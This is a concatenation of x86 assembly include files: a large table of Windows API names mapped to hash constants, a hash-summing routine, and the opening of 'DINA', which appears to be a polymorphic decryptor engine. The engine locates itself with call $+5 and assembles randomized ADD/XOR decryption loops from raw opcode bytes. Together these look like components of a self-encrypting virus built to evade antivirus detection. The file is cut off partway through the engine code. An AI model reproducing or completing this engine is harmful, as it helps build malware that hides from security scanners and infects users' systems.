zEnumTimeFormatsW				 EQU 034524D19h
zEraseTape				 	 EQU 064606244h
zEscapeCommFunction				 EQU 00E0306DDh
zExitProcess					 EQU 0564C512Eh
zExitThread					 EQU 0CED3EAC8h
zExitVDM					 EQU 05C78AC9Ah
zExpandEnvironmentStringsA			 EQU 0FC2B3005h
zExpandEnvironmentStringsW			 EQU 0122B3005h
zExpungeConsoleCommandHistoryA			 EQU 07EADAC75h
zExpungeConsoleCommandHistoryW			 EQU 094ADAC75h
zExtendVirtualBuffer				 EQU 07E80936Ch
zFatalAppExitA					 EQU 0CCFFECC6h
zFatalAppExitW					 EQU 0E2FFECC6h
zFatalExit					 EQU 06969612Dh
zFileTimeToDosDateTime				 EQU 0F0F7F3CAh
zFileTimeToLocalFileTime			 EQU 0B8BFBB91h
zFileTimeToSystemTime				 EQU 0D1D8D4ABh
zFillConsoleOutputAttribute			 EQU 08D948951h
zFillConsoleOutputCharacterA			 EQU 0A7D2C9A1h
zFillConsoleOutputCharacterW			 EQU 0BDD2C9A1h
zFindAtomA					 EQU 038656136h
zFindAtomW					 EQU 04E656136h
zFindClose					 EQU 05C655B30h
zFindCloseChangeNotification			 EQU 090908A5Eh
zFindFirstChangeNotificationA			 EQU 0E4110BD9h
zFindFirstChangeNotificationW			 EQU 0FA110BD9h
zFindFirstFileA					 EQU 0315E6238h
zFindFirstFileExA				 EQU 0EF1C0D09h
zFindFirstFileExW				 EQU 0051C0D09h
zFindFirstFileW					 EQU 0475E6238h
zFindNextChangeNotification			 EQU 039393307h
zFindNextFileA					 EQU 0C7F4F8CFh
zFindNextFileW					 EQU 0DDF4F8CFh
zFindResourceA					 EQU 0F11E2201h
zFindResourceExA				 EQU 0AEDBCCC9h
zFindResourceExW				 EQU 0C4DBCCC9h
zFindResourceW					 EQU 0071E2201h
zFlushConsoleInputBuffer			 EQU 020232A02h
zFlushFileBuffers				 EQU 02D2F2905h
zFlushInstructionCache				 EQU 058686C48h
zFlushViewOfFile				 EQU 0AFBFBF98h
zFoldStringA					 EQU 01F4A5227h
zFoldStringW					 EQU 0354A5227h
zFormatMessageA					 EQU 04C7D8762h
zFormatMessageW					 EQU 0627D8762h
zFreeConsole					 EQU 03B3B4115h
zFreeEnvironmentStringsA			 EQU 02D515027h
zFreeEnvironmentStringsW			 EQU 043515027h
zFreeLibrary					 EQU 03D29290Bh
zFreeLibraryAndExitThread			 EQU 047485932h
zFreeResource					 EQU 0B0B0BF90h
zFreeVirtualBuffer				 EQU 0AB9EAB86h
zGenerateConsoleCtrlEvent			 EQU 0837D744Eh
zGetACP						 EQU 0D4F91B20h
zGetAtomNameA					 EQU 056898960h
zGetAtomNameW					 EQU 06C898960h
zGetBinaryType					 EQU 00B1A0ED9h
zGetBinaryTypeA					 EQU 04C7F7F52h
zGetBinaryTypeW					 EQU 0627F7F52h
zGetCPInfo					 EQU 0212624FCh
zGetCommConfig					 EQU 0E5F2EECCh
zGetCommMask					 EQU 01B2415F9h
zGetCommModemStatus				 EQU 00808F8C6h
zGetCommProperties				 EQU 0BEBFBF98h
zGetCommState					 EQU 0909F9073h
zGetCommTimeouts				 EQU 0EAEBDCAAh
zGetCommandLineA				 EQU 08CBFBF94h
zGetCommandLineW				 EQU 0A2BFBF94h
zGetCompressedFileSizeA				 EQU 078ABAB71h
zGetCompressedFileSizeW				 EQU 08EABAB71h
zGetComputerNameA				 EQU 01649491Eh
zGetComputerNameW				 EQU 02C49491Eh
zGetConsoleAliasA				 EQU 003362809h
zGetConsoleAliasExesA				 EQU 099CCBE9Ah
zGetConsoleAliasExesLengthA			 EQU 0FE312DF8h
zGetConsoleAliasExesLengthW			 EQU 014312DF8h
zGetConsoleAliasExesW				 EQU 0AFCCBE9Ah
zGetConsoleAliasW				 EQU 019362809h
zGetConsoleAliasesA				 EQU 0DC0F00DDh
zGetConsoleAliasesLengthA			 EQU 04073703Bh
zGetConsoleAliasesLengthW			 EQU 05673703Bh
zGetConsoleAliasesW				 EQU 0F20F00DDh
zGetConsoleCP					 EQU 0698DAF8Eh
zGetConsoleCommandHistoryA			 EQU 0CE00ECB9h
zGetConsoleCommandHistoryLengthA		 EQU 03265622Ah
zGetConsoleCommandHistoryLengthW		 EQU 04865622Ah
zGetConsoleCommandHistoryW			 EQU 0E400ECB9h
zGetConsoleCursorInfo				 EQU 0E3E8E7BAh
zGetConsoleDisplayMode				 EQU 035444516h
zGetConsoleFontInfo				 EQU 0FC00FFD3h
zGetConsoleFontSize				 EQU 00B1A04DDh
zGetConsoleHardwareState			 EQU 00A1909E8h
zGetConsoleInputExeNameA			 EQU 0CF0201D4h
zGetConsoleInputExeNameW			 EQU 0E50201D4h
zGetConsoleInputWaitHandle			 EQU 0CCDBD4AFh
zGetConsoleKeyboardLayoutNameA			 EQU 04E818151h
zGetConsoleKeyboardLayoutNameW			 EQU 064818151h
zGetConsoleMode					 EQU 05C6B6C40h
zGetConsoleOutputCP				 EQU 0FD214310h
zGetConsoleScreenBufferInfo			 EQU 0222725F6h
zGetConsoleTitleA				 EQU 01B4E4E24h
zGetConsoleTitleW				 EQU 0314E4E24h
zGetCurrencyFormatA				 EQU 0FB2E1EFFh
zGetCurrencyFormatW				 EQU 0112E1EFFh
zGetCurrentConsoleFont				 EQU 054544B1Ch
zGetCurrentDirectoryA				 EQU 0E012FECDh
zGetCurrentDirectoryW				 EQU 0F612FECDh
zGetCurrentProcess				 EQU 0C7C8BA97h
zGetCurrentProcessId				 EQU 07585A16Fh
zGetCurrentThread				 EQU 040505431h
zGetCurrentThreadId				 EQU 0EDFE19F7h
zGetDateFormatA					 EQU 02C5F5032h
zGetDateFormatW					 EQU 0425F5032h
zGetDefaultCommConfigA				 EQU 0EF221FF7h
zGetDefaultCommConfigW				 EQU 005221FF7h
zGetDiskFreeSpaceA				 EQU 03F727251h
zGetDiskFreeSpaceExA				 EQU 0FD301D19h
zGetDiskFreeSpaceExW				 EQU 013301D19h
zGetDiskFreeSpaceW				 EQU 055727251h
zGetDriveTypeA					 EQU 0E11413E7h
zGetDriveTypeW					 EQU 0F71413E7h
zGetEnvironmentStrings				 EQU 086878557h
zGetEnvironmentStringsA				 EQU 0C7FAECC5h
zGetEnvironmentStringsW				 EQU 0DDFAECC5h
zGetEnvironmentVariableA			 EQU 00437370Ah
zGetEnvironmentVariableW			 EQU 01A37370Ah
zGetExitCodeProcess				 EQU 0F9FAECC9h
zGetExitCodeThread				 EQU 072828663h
zGetFileAttributesA				 EQU 0EE2112EFh
zGetFileAttributesExA				 EQU 0ABDECBC7h
zGetFileAttributesExW				 EQU 0C1DECBC7h
zGetFileAttributesW				 EQU 0042112EFh
zGetFileInformationByHandle			 EQU 016251DF8h
zGetFileSize					 EQU 01E2D17F3h
zGetFileTime					 EQU 0122118F4h
zGetFileType					 EQU 0253428F4h
zGetFullPathNameA				 EQU 0E71A19EFh
zGetFullPathNameW				 EQU 0FD1A19EFh
zGetHandleInformation				 EQU 0D8DED4ACh
zGetLargestConsoleWindowSize			 EQU 0C1D0BB90h
zGetLastError					 EQU 0A1A3996Bh
zGetLocalTime					 EQU 07D8C845Fh
zGetLocaleInfoA					 EQU 021544A27h
zGetLocaleInfoW					 EQU 037544A27h
zGetLogicalDriveStringsA			 EQU 0E81B0CE5h
zGetLogicalDriveStringsW			 EQU 0FE1B0CE5h
zGetLogicalDrives				 EQU 02D2E2DFAh
zGetMailslotInfo				 EQU 0D5DAD9AEh
zGetModuleFileNameA				 EQU 0ADE0E0B5h
zGetModuleFileNameW				 EQU 0C3E0E0B5h
zGetModuleHandleA				 EQU 0F82B2B01h
zGetModuleHandleW				 EQU 00E2B2B01h
zGetNamedPipeHandleStateA			 EQU 0093C3C07h
zGetNamedPipeHandleStateW			 EQU 01F3C3C07h
zGetNamedPipeInfo				 EQU 0040907DCh
zGetNextVDMCommand				 EQU 04A5A5132h
zGetNumberFormatA				 EQU 0184B3C1Dh
zGetNumberFormatW				 EQU 02E4B3C1Dh
zGetNumberOfConsoleFonts			 EQU 00303F4C6h
zGetNumberOfConsoleInputEvents			 EQU 080817241h
zGetNumberOfConsoleMouseButtons			 EQU 0F3F4EBB9h
zGetOEMCP					 EQU 07599BBB4h
zGetOverlappedResult				 EQU 09797905Ch
zGetPriorityClass				 EQU 05D5E5031h
zGetPrivateProfileIntA				 EQU 01F524315h
zGetPrivateProfileIntW				 EQU 035524315h
zGetPrivateProfileSectionA			 EQU 0CAFDF4C4h
zGetPrivateProfileSectionNamesA			 EQU 0C0F3E5BDh
zGetPrivateProfileSectionNamesW			 EQU 0D6F3E5BDh
zGetPrivateProfileSectionW			 EQU 0E0FDF4C4h
zGetPrivateProfileStringA			 EQU 06C9F9D6Eh
zGetPrivateProfileStringW			 EQU 0829F9D6Eh
zGetPrivateProfileStructA			 EQU 07AAD9E7Ah
zGetPrivateProfileStructW			 EQU 090AD9E7Ah
zGetProcAddress					 EQU 05E5F512Fh
zGetProcessAffinityMask				 EQU 0ACB5A786h
zGetProcessHeap					 EQU 061656947h
zGetProcessHeaps				 EQU 0D4D5CAACh
zGetProcessPriorityBoost			 EQU 050504212h
zGetProcessShutdownParameters			 EQU 0595A4D25h
zGetProcessTimes				 EQU 0E5E6E6BCh
zGetProcessVersion				 EQU 0CAD0C69Fh
zGetProcessWorkingSetSize			 EQU 08F9E895Fh
zGetProfileIntA					 EQU 04174653Ah
zGetProfileIntW					 EQU 05774653Ah
zGetProfileSectionA				 EQU 0ED2016E9h
zGetProfileSectionW				 EQU 0032016E9h
zGetProfileStringA				 EQU 08EC1BF93h
zGetProfileStringW				 EQU 0A4C1BF93h
zGetQueuedCompletionStatus			 EQU 0101100CBh
zGetShortPathNameA				 EQU 06497976Ch
zGetShortPathNameW				 EQU 07A97976Ch
zGetStartupInfoA				 EQU 0C4F7EDCAh
zGetStartupInfoW				 EQU 0DAF7EDCAh
zGetStdHandle					 EQU 07A898262h
zGetStringTypeA					 EQU 05E919164h
zGetStringTypeExA				 EQU 01C4F3C39h
zGetStringTypeExW				 EQU 0324F3C39h
zGetStringTypeW					 EQU 074919164h
zGetSystemDefaultLCID				 EQU 06C9CB8B6h
zGetSystemDefaultLangID				 EQU 06090AC85h
zGetSystemDirectoryA				 EQU 081B4A06Fh
zGetSystemDirectoryW				 EQU 097B4A06Fh
zGetSystemInfo					 EQU 0151A18EEh
zGetSystemPowerStatus				 EQU 01D1E0DDAh
zGetSystemTime					 EQU 018271EF9h
zGetSystemTimeAdjustment			 EQU 03B3B320Ch
zGetSystemTimeAsFileTime			 EQU 0DEEDE5BCh
zGetTapeParameters				 EQU 0A3A49774h
zGetTapePosition				 EQU 0E3E9DFB9h
zGetTapeStatus					 EQU 0121302D2h
zGetTempFileNameA				 EQU 0DD100FE5h
zGetTempFileNameW				 EQU 0F3100FE5h
zGetTempPathA					 EQU 0679A9767h
zGetTempPathW					 EQU 07D9A9767h
zGetThreadContext				 EQU 042422F0Ch
zGetThreadLocale				 EQU 0ACBBB496h
zGetThreadPriority				 EQU 0BFBAAB84h
zGetThreadPriorityBoost				 EQU 0C8C8BA8Bh
zGetThreadSelectorEntry				 EQU 0B2ADA06Ch
zGetThreadTimes					 EQU 05E5F5F35h
zGetTickCount					 EQU 097978E5Dh
zGetTimeFormatA					 EQU 03D706143h
zGetTimeFormatW					 EQU 053706143h
zGetTimeZoneInformation				 EQU 0B8BEB48Bh
zGetUserDefaultLCID				 EQU 085B5D1D0h
zGetUserDefaultLangID				 EQU 079A9C59Fh
zGetVDMCurrentDirectories			 EQU 04F505026h
zGetVersion					 EQU 0E8EEE4C0h
zGetVersionExA					 EQU 0E81B0806h
zGetVersionExW					 EQU 0FE1B0806h
zGetVolumeInformationA				 EQU 046797041h
zGetVolumeInformationW				 EQU 05C797041h
zGetWindowsDirectoryA				 EQU 0E81B06D5h
zGetWindowsDirectoryW				 EQU 0FE1B06D5h
zGlobalAddAtomA					 EQU 00E3C3B0Fh
zGlobalAddAtomW					 EQU 0243C3B0Fh
zGlobalAlloc					 EQU 01D2925FEh
zGlobalCompact					 EQU 0F9F4FDE0h
zGlobalDeleteAtom				 EQU 0181A16E5h
zGlobalFindAtomA				 EQU 086B4B387h
zGlobalFindAtomW				 EQU 09CB4B387h
zGlobalFix					 EQU 0584F5251h
zGlobalFlags					 EQU 01F1B2003h
zGlobalFree					 EQU 0B3BDC497h
zGlobalGetAtomNameA				 EQU 0A7D5DCB1h
zGlobalGetAtomNameW				 EQU 0BDD5DCB1h
zGlobalHandle					 EQU 07E888868h
zGlobalLock					 EQU 0BABEC79Dh
zGlobalMemoryStatus				 EQU 0322E24F2h
zGlobalReAlloc					 EQU 0D4E0DDB5h
zGlobalSize					 EQU 0CCD6C8A4h
zGlobalUnWire					 EQU 08C96906Bh
zGlobalUnfix					 EQU 03C333614h
zGlobalUnlock					 EQU 09EA2AB80h
zGlobalWire					 EQU 0C8D2CCA8h
zHeapAlloc					 EQU 05D5B512Bh
zNTDLLRtlAllocateHeap				 EQU 0A175684Bh
zHeapCompact				         EQU 03A27290Dh
zHeapCreate					 EQU 0C6C2B398h
zHeapCreateTagsW				 EQU 0AEB8AA87h
zHeapDestroy					 EQU 05D453B0Eh
zHeapExtend					 EQU 0DAD7CEAFh
zHeapFree					 EQU 0F3EFEFC4h
zNTDLLRtlFreeHeap				 EQU 0FCD0C3A8h
zHeapLock					 EQU 0FAF0F2CAh
zHeapQueryTagW					 EQU 0FD0704E8h
zHeapReAlloc					 EQU 0151308E2h
zNTDLLRtlReAllocateHeap				 EQU 0592D2002h
zHeapSize					 EQU 00D08F3D1h
zNTDLLRtlSizeHeap				 EQU 015E9DCC1h
zHeapSummary					 EQU 061493C20h
zHeapUnlock					 EQU 0DED4D6ADh
zHeapUsage					 EQU 067636146h
zHeapValidate					 EQU 09D998A6Eh
zHeapWalk					 EQU 000F6EFD5h
zInitAtomTable					 EQU 0F0F4F6DAh
zInitializeCriticalSection			 EQU 0FAF5F4CCh
zInitializeCriticalSectionAndSpinCount		 EQU 0B5AAAA71h
zInterlockedCompareExchange			 EQU 03C4B5224h
zInterlockedDecrement				 EQU 0E6E6E6C4h
zInterlockedExchange				 EQU 07281885Dh
zInterlockedExchangeAdd				 EQU 07C8C9697h
zInterlockedIncrement				 EQU 0F4F4F4D2h
zInvalidateConsoleDIBits			 EQU 0CDD0CAA3h
zIsBadCodePtr					 EQU 07949483Eh
zIsBadHugeReadPtr				 EQU 004D4D3C8h
zIsBadHugeWritePtr				 EQU 094646357h
zIsBadReadPtr					 EQU 07A4A493Fh
zIsBadStringPtrA				 EQU 0B7B8B98Ah
zIsBadStringPtrW				 EQU 0CDB8B98Ah
zIsBadWritePtr					 EQU 009D9D8CEh
zIsDBCSLeadByte					 EQU 0E5C4C390h
zIsDBCSLeadByteEx				 EQU 0A36F9D7Dh
zIsDebuggerPresent				 EQU 0C7979C7Bh
zIsProcessorFeaturePresent			 EQU 0260206E2h
zIsValidCodePage				 EQU 096879377h
zIsValidLocale					 EQU 0EDDEE5CAh
zLCMapStringA					 EQU 08C98744Fh
zLCMapStringW					 EQU 0A298744Fh
zLeaveCriticalSection				 EQU 0E1D4CAA7h
zNTDLLRtlLeaveCriticalSection			 EQU 0EEC4A985h
zLoadLibraryA					 EQU 07D9D936Ah
zLoadLibraryExA					 EQU 03B5B5255h
zLoadLibraryExW					 EQU 0515B5255h
zLoadLibraryW					 EQU 0939D936Ah
zLoadModule					 EQU 0CCC8CBA0h
zLoadResource					 EQU 0AFABB78Eh
zLocalAlloc					 EQU 0BABABA98h
zLocalCompact					 EQU 09786927Ah
zLocalFileTimeToFileTime			 EQU 0B5B3B591h
zLocalFlags					 EQU 0BCACB49Dh
zLocalFree					 EQU 0514F5931h
zLocalHandle					 EQU 01C1A1D02h
zLocalLock					 EQU 058505C37h
zLocalReAlloc					 EQU 07272724Fh
zLocalShrink					 EQU 03F373818h
zLocalSize					 EQU 06A685D3Eh
zLocalUnlock					 EQU 03C34401Ah
zLockFile					 EQU 0ECEAEDCFh
zLockFileEx					 EQU 0AA95BFA4h
zLockResource					 EQU 0B6B4C097h
zMapViewOfFile					 EQU 0D3DED3B4h
zMapViewOfFileEx				 EQU 09189A589h
zMoveFileA					 EQU 0285D6746h
zMoveFileExA					 EQU 0E61B1217h
zMoveFileExW					 EQU 0FC1B1217h
zMoveFileW					 EQU 03E5D6746h
zMulDiv				        	 EQU 0241A262Eh
zMultiByteToWideChar				 EQU 0413B4F2Eh
zOpenConsoleW					 EQU 09BA9B494h
zOpenEventA					 EQU 0B3D7D3B2h
zOpenEventW					 EQU 0C9D7D3B2h
zOpenFile					 EQU 0EFEFF3D8h
zOpenFileMappingA				 EQU 000242D09h
zOpenFileMappingW				 EQU 016242D09h
zOpenMutexA					 EQU 0C4E8E0C8h
zOpenMutexW					 EQU 0DAE8E0C8h
zOpenProcess					 EQU 050423F26h
zOpenProfileUserMapping				 EQU 0B1AFB190h
zOpenSemaphoreA					 EQU 0577B865Fh
zOpenSemaphoreW					 EQU 06D7B865Fh
zOpenWaitableTimerA				 EQU 0DF0300E5h
zOpenWaitableTimerW				 EQU 0F50300E5h
zOutputDebugStringA				 EQU 0FE313F1Ah
zOutputDebugStringW				 EQU 014313F1Ah
zPeekConsoleInputA				 EQU 094B8A97Fh
zPeekConsoleInputW				 EQU 0AAB8A97Fh
zPeekNamedPipe					 EQU 0E1E1D6BAh
zPostQueuedCompletionStatus			 EQU 084847E51h
zPrepareTape				         EQU 035353723h
zPulseEvent					 EQU 0DCD4DBC4h
zPurgeComm					 EQU 05A5F6746h
zQueryDosDeviceA				 EQU 0A6CADAC4h
zQueryDosDeviceW				 EQU 0BCCADAC4h
zQueryPerformanceCounter			 EQU 04538481Dh
zQueryPerformanceFrequency			 EQU 0180415F0h
zQueryWin31IniFilesMappedToRegistry		 EQU 00EFAFDCFh
zQueueUserAPC					 EQU 0507297A4h
zRaiseException					 EQU 08B86785Dh
zReadConsoleA					 EQU 07B9B9B7Eh
zReadConsoleInputA				 EQU 08DAD9E76h
zReadConsoleInputExA				 EQU 04B6B585Fh
zReadConsoleInputExW				 EQU 0616B585Fh
zReadConsoleInputW				 EQU 0A3AD9E76h
zReadConsoleOutputA				 EQU 00F2F1FF7h
zReadConsoleOutputAttribute			 EQU 085817246h
zReadConsoleOutputCharacterA			 EQU 09FBFB296h
zReadConsoleOutputCharacterW			 EQU 0B5BFB296h
zReadConsoleOutputW				 EQU 0252F1FF7h
zReadConsoleW					 EQU 0919B9B7Eh
zReadDirectoryChangesW				 EQU 0303A2C12h
zReadFile					 EQU 0E5E1DAC2h
zReadFileEx					 EQU 0A38CAC97h
zReadFileScatter				 EQU 0BEADAD87h
zReadProcessMemory				 EQU 0C1A99C7Ah
zRegisterConsoleVDM				 EQU 0E7012218h
zRegisterWaitForInputIdle			 EQU 0797B745Ah
zRegisterWowBaseHandlers			 EQU 0180BFEE4h
zRegisterWowExec				 EQU 0EDF1F1C7h
zReleaseMutex					 EQU 0B4A8A883h
zReleaseSemaphore				 EQU 0474E411Fh
zRemoveDirectoryA				 EQU 045715D38h
zRemoveDirectoryW				 EQU 05B715D38h
zResetEvent					 EQU 0DDDCD3BEh
zResumeThread					 EQU 0A2B1B59Fh
zRtlFillMemory					 EQU 003F6F8D8h
zNTDLLRtlFillMemory				 EQU 0FDC8AA84h
zRtlMoveMemory					 EQU 0140708E8h
zNTDLLRtlMoveMemory				 EQU 00DD8BA94h
zRtlUnwind					 EQU 0777F856Ch
zNTDLLRtlUnwin	 				 EQU 071513718h
zRtlZeroMemory					 EQU 01D1011F1h
zNTDLLRtlZeroMemory				 EQU 016E1C39Dh
zScrollConsoleScreenBufferA			 EQU 01E4F4025h
zScrollConsoleScreenBufferW			 EQU 0344F4025h
zSearchPathA					 EQU 00E2E2B07h
zSearchPathW					 EQU 0242E2B07h
zSetCommBreak					 EQU 0747D816Ch
zSetCommConfig					 EQU 0E5F2EED8h
zSetCommMask					 EQU 01B241605h
zSetCommState					 EQU 0909F907Fh
zSetCommTimeouts				 EQU 0EAEBDCB6h
zSetComputerNameA				 EQU 01649492Ah
zSetComputerNameW				 EQU 02C49492Ah
zSetConsoleActiveScreenBuffer			 EQU 0F2F4F4D8h
zSetConsoleCP					 EQU 0698DAF9Ah
zSetConsoleCommandHistoryMode			 EQU 0132222FDh
zSetConsoleCtrlHandler				 EQU 02D2F2F0Fh
zSetConsoleCursor				 EQU 056584E29h
zSetConsoleCursorInfo				 EQU 0E3E8E7C6h
zSetConsoleCursorPosition			 EQU 0AEB4AA8Ch
zSetConsoleDisplayMode				 EQU 035444522h
zSetConsoleFont					 EQU 06E6E6545h
zSetConsoleHardwareState			 EQU 00A1909F4h
zSetConsoleIcon					 EQU 060665C48h
zSetConsoleInputExeNameA			 EQU 0CF0201E0h
zSetConsoleInputExeNameW			 EQU 0E50201E0h
zSetConsoleKeyShortcuts				 EQU 0D2D3C49Bh
zSetConsoleMaximumWindowSize			 EQU 0CDDCC7A8h
zSetConsoleMenuClose				 EQU 064736543h
zSetConsoleMode					 EQU 05C6B6C4Ch
zSetConsoleNumberOfCommandsA			 EQU 06DA09278h
zSetConsoleNumberOfCommandsW			 EQU 083A09278h
zSetConsoleOutputCP				 EQU 0FD21431Ch
zSetConsolePalette				 EQU 0A7B6A781h
zSetConsoleScreenBufferSize			 EQU 031402B0Ch
zSetConsoleTextAttribute			 EQU 03443340Ah
zSetConsoleTitleA				 EQU 01B4E4E30h
zSetConsoleTitleW				 EQU 0314E4E30h
zSetConsoleWindowInfo				 EQU 0DDE2E1C0h
zSetCriticalSectionSpinCount			 EQU 0ACACA378h
zNTDLLRtlSetCriticalSectionSpinCount		 EQU 0D3A38956h
zSetCurrentDirectoryA				 EQU 0E012FED9h
zSetCurrentDirectoryW				 EQU 0F612FED9h
zSetDefaultCommConfigA				 EQU 0EF222003h
zSetDefaultCommConfigW				 EQU 005222003h
zSetEndOfFile					 EQU 04F5E573Eh
zSetEnvironmentVariableA			 EQU 004373716h
zSetEnvironmentVariableW			 EQU 01A373716h
zSetErrorMode					 EQU 092A1A283h
zSetEvent					 EQU 00403FAE7h
zSetFileApisToANSI				 EQU 0002B3D3Dh
zSetFileApisToOEM				 EQU 0B5DCFCFCh
zSetFileAttributesA				 EQU 0EE2112FBh
zSetFileAttributesW				 EQU 0042112FBh
zSetFilePointer					 EQU 065676742h
zSetFileTime					 EQU 012211900h
zSetHandleCount					 EQU 05959502Ah
zSetHandleInformation				 EQU 0D8DED4B8h
zSetLastConsoleEventActive			 EQU 0CDDCCBADh
zSetLastError					 EQU 0A1A39977h
zSetLocalTime					 EQU 07D8C846Bh
zSetLocaleInfoA					 EQU 021544A33h
zSetLocaleInfoW					 EQU 037544A33h
zSetMailslotInfo				 EQU 0D5DAD9BAh
zSetNamedPipeHandleState			 EQU 0C7D6C7B2h
zSetPriorityClass				 EQU 05D5E503Dh
zSetProcessAffinityMask				 EQU 0ACB5A792h
zSetProcessPriorityBoost			 EQU 05050421Eh
zSetProcessShutdownParameters			 EQU 0595A4D31h
zSetProcessWorkingSetSize			 EQU 08F9E896Bh
zSetStdHandle					 EQU 07A89826Eh
zSetSystemPowerState				 EQU 099A89985h
zSetSystemTime					 EQU 018271F05h
zSetSystemTimeAdjustment			 EQU 03B3B3218h
zSetTapeParameters				 EQU 0A3A49780h
zSetTapePosition				 EQU 0E3E9DFC5h
zSetThreadAffinityMask				 EQU 0252E200Bh
zSetThreadContext				 EQU 042422F18h
zSetThreadIdealProcessor			 EQU 0FF00F6CFh
zSetThreadLocale				 EQU 0ACBBB4A2h
zSetThreadPriority				 EQU 0BFBAAB90h
zSetThreadPriorityBoost				 EQU 0C8C8BA97h
zSetTimeZoneInformation				 EQU 0B8BEB497h
zSetUnhandledExceptionFilter			 EQU 0B1B3B389h
zSetVDMCurrentDirectories			 EQU 04F505032h
zSetVolumeLabelA				 EQU 09DD0C9B3h
zSetVolumeLabelW				 EQU 0B3D0C9B3h
zSetWaitableTimer				 EQU 02F313112h
zSetupComm					 EQU 0737A7254h
zShowConsoleCursor				 EQU 0CDCAC39Eh
zSignalObjectAndWait				 EQU 04033331Fh
zSizeofResource					 EQU 0869BA17Eh
zSleep						 EQU 0D5CAD1BFh
zSleepEx				 	 EQU 09380A789h
zSuspendThread					 EQU 003122610h
zSwitchToFiber					 EQU 0EDE4F6E4h
zSwitchToThread					 EQU 05E637963h
zSystemTimeToFileTime				 EQU 0ADBBC7ABh
zSystemTimeToTzSpecificLocalTime		 EQU 0111F2B0Ah
zTerminateProcess				 EQU 06261533Dh
zTerminateThread				 EQU 0DAE8ECD7h
zTlsAlloc					 EQU 0ECFCF9E0h
zTlsFree				 	 EQU 083919879h
zTlsGetValue					 EQU 0202E250Ah
zTlsSetValue					 EQU 02C3A3116h
zTransactNamedPipe				 EQU 0918D8F75h
zTransmitCommChar				 EQU 03A293A21h
zTrimVirtualBuffer				 EQU 0B3AAB7A0h
zTryEnterCriticalSection			 EQU 0061113F7h
zNTDLLRtlTryEnterCriticalSection		 EQU 04015FAD5h
zUnhandledExceptionFilter			 EQU 0857B845Dh
zUnlockFile					 EQU 0BFC6C8B2h
zUnlockFileEx					 EQU 07D719A87h
zUnmapViewOfFile				 EQU 0A5ADAF97h
zUpdateResourceA				 EQU 0C7EAF5E3h
zUpdateResourceW				 EQU 0DDEAF5E3h
zVDMConsoleOperation				 EQU 08A693E25h
zVDMOperationStarted				 EQU 08E775632h
zVerLanguageNameA				 EQU 0EB1C1C00h
zVerLanguageNameW				 EQU 0011C1C00h
zVerifyConsoleIoHandle				 EQU 026332C17h
zVirtualAlloc				 	 EQU 0A4B3AD94h
zVirtualAllocEx					 EQU 0625C806Fh
zVirtualBufferExceptionHandler			 EQU 087878B6Bh
zVirtualFree					 EQU 03B484C2Dh
zVirtualFreeEx					 EQU 0F8F31704h
zVirtualLock					 EQU 042494F33h
zVirtualProtect					 EQU 09B999F8Ch
zVirtualProtectEx				 EQU 059537754h
zVirtualQuery					 EQU 0CFC8BFADh
zVirtualQueryEx					 EQU 08D87AB84h
zVirtualUnlock					 EQU 0262D3316h
zWaitCommEvent					 EQU 005FAEDDCh
===== end   crc32.inc =====

===== begin crc32api.inc =====
include crc32.inc
;include crc32use.inc
;-------------------- Code ---------------------------------------------

CRCSum: xor eax,eax
Sum:    add eax,dword ptr [ebx]
        cmp byte ptr [ebx+4],0
        je ExitfromCRCSum
        inc ebx
        jmp Sum
ExitfromCRCSum:
           ret
;CRCSum: xor eax,eax
;Sum:    add eax,dword ptr [esi]
;        cmp byte ptr [esi+4],0
;        je_ ExitfromCRCSum
;        inc esi
;        jmp_ Sum
;ExitfromCRCSum:
;           ret
;----------------------------------------------------------------------  
===== end   crc32api.inc =====

===== begin dinav1.inc =====
SizeDinaV1 EQU offset EndDINA - offset DINA
;--------------------------------------------------
include macro.inc
offset2 MACRO descr
        offset2&descr EQU offset descr - offset DINA-5
        ENDM
DINA: call $+5
      jmp @Initus
offset2test_2 EQU offset test_2 - offset DINA-5
test_1:
test_2: call $+5
popER1: pop eax
;-----
        db 81h
addER1: db 0c0h
addons_:dd 90909090h
;-----
             db 66h
movR2:       db 0B8h
SIZECRYPTYN: dw 9090h
;-----
 MOV_R3_L_KEY: db 0B0h
_Key:          db 90h
;------------
; MOV R3_H ,BYTE PTR [ER1+ ADDONS2]
MOV_R3_H_BYTE_PTR_ER1_ADDONS2:
            db   8ah
    R3_Hc:  db   80h
            dd 00909090h
;-----------------------
;COM ADD/AND/OR/SUB/XOR     02/22/0A/2A/32
COM1: db 02h
      db 0c0h
XOR_R3_1XR3_2:      db 32h
                    db 0c0h
MOV_BYTE_PTR_ER1_ADDONS2_R3_H:
            db   88h
            db   80h
            dd 00909090h
INCER1:     db 40h       ; 1 2
 DECR2:     db 66h,48h   ; 2 1
@OR:     db 66h
         db 0bh
         db 0c0h
jnz_test_3:db 0fh,85h
           dd -( offset jnz_test_3 - offset MOV_R3_H_BYTE_PTR_ER1_ADDONS2)-7
COMMANDSADD: db 02,22h,0Ah,2Ah,32h,02
;###########################################################
RandSeed  dd 2394900h
ww        dw 8405h
MemHandle1 dd ?
RelPoin dd ?
addonsPoint dd ?
addons2Point dd ?
addons2_Point dd ?
jnz_Point DD ?
SizeOfDecryptor dd ?
;SYSTIMESTR:
;            dw 1111h
;            dw 2222h
;            dw ?
;            dw ?
;            dw ?
;            dw ?
;            dw ?
;            dw 8888h
_ER1: db 1
_R2:  db 2
_R3_1:  db 3
_R3_2:  db 4
XOR_R3_ADD  db 5
offset2 _ER1
offset2 _R2
offset2 _R3_1
offset2 _R3_2
offset2 XOR_R3_ADD
;###########################################################
lpCodeBuffer   EQU 8
CodeSize2Crypt EQU 12
;###########################################################
@Initus:
 pop ebx ; EBX = ENtry point
 push ebp
 mov ebp,esp
 mov eax,[ebp+lpCodeBuffer]
 mov edx,[ebp+CodeSize2Crypt]
 pop ebp
 mov esi,ebx
 add esi,offset test_1 - offset DINA -5
 mov ecx,(offset COMMANDSADD  - offset test_2)/4+1
@InitusL1:            ; Coxpanim skelet
 push dword ptr [esi] ;
 add esi,4            ;
 loop @InitusL1       ;
 push ebx
 offset2 MemHandle1
 offset2 SizeOfDecryptor
 mov [ebx+offset2MemHandle1],eax
 mov [ebx+offset2SizeOfDecryptor],edx
; offset2 SYSTIMESTR
; mov eax,ebx                ; optemaze !!!
; add eax,offset2SYSTIMESTR  ;
 push eax
 call GetSystemTime
 pop ebx
 offset2 RandSeed
 add [ebx+offset2RandSeed],eax
 push 0ffffffh
 call random
 call @ESP
 mov al,byte ptr [ebx+offset2_ER1]
 offset2 popER1
 add byte ptr [ebx+offset2popER1],al
 offset2 addER1
 add byte ptr [ebx+offset2addER1],al
